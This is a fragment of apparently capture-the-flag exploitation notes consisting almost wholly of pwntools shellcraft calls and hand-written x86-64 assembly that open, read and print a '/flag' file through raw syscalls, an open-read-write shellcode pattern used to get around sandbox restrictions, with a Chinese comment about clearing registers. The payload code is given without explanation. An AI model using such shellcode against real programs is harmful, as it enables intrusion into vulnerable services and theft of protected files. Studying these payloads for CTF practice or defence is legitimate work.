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| payload=shellcraft.open('/flag') payload+=shellcraft.read(3,bss_add,100) payload+=shellcraft.write(1,bss_add,100) sl(asm(payload))
payload=shellcraft.openat(0, '/flag\x00') payload+=shellcraft.sendfile(1,3,0,100)
sh=asm(''' #清空寄存器 xor rax,rax xor rdi,rdi xor rsi,rsi xor rdx,rdx mov rax,2 #0x67616c662f2e(flag) mov rdi,0x67616c662f2e push rdi mov rdi,rsp syscall mov rax,0 mov rdx,0x30 mov rsi,0x67616c662f2e mov rsi,rsp mov rdi,3 syscall mov rdi,1 mov rax,1 syscall ''' )
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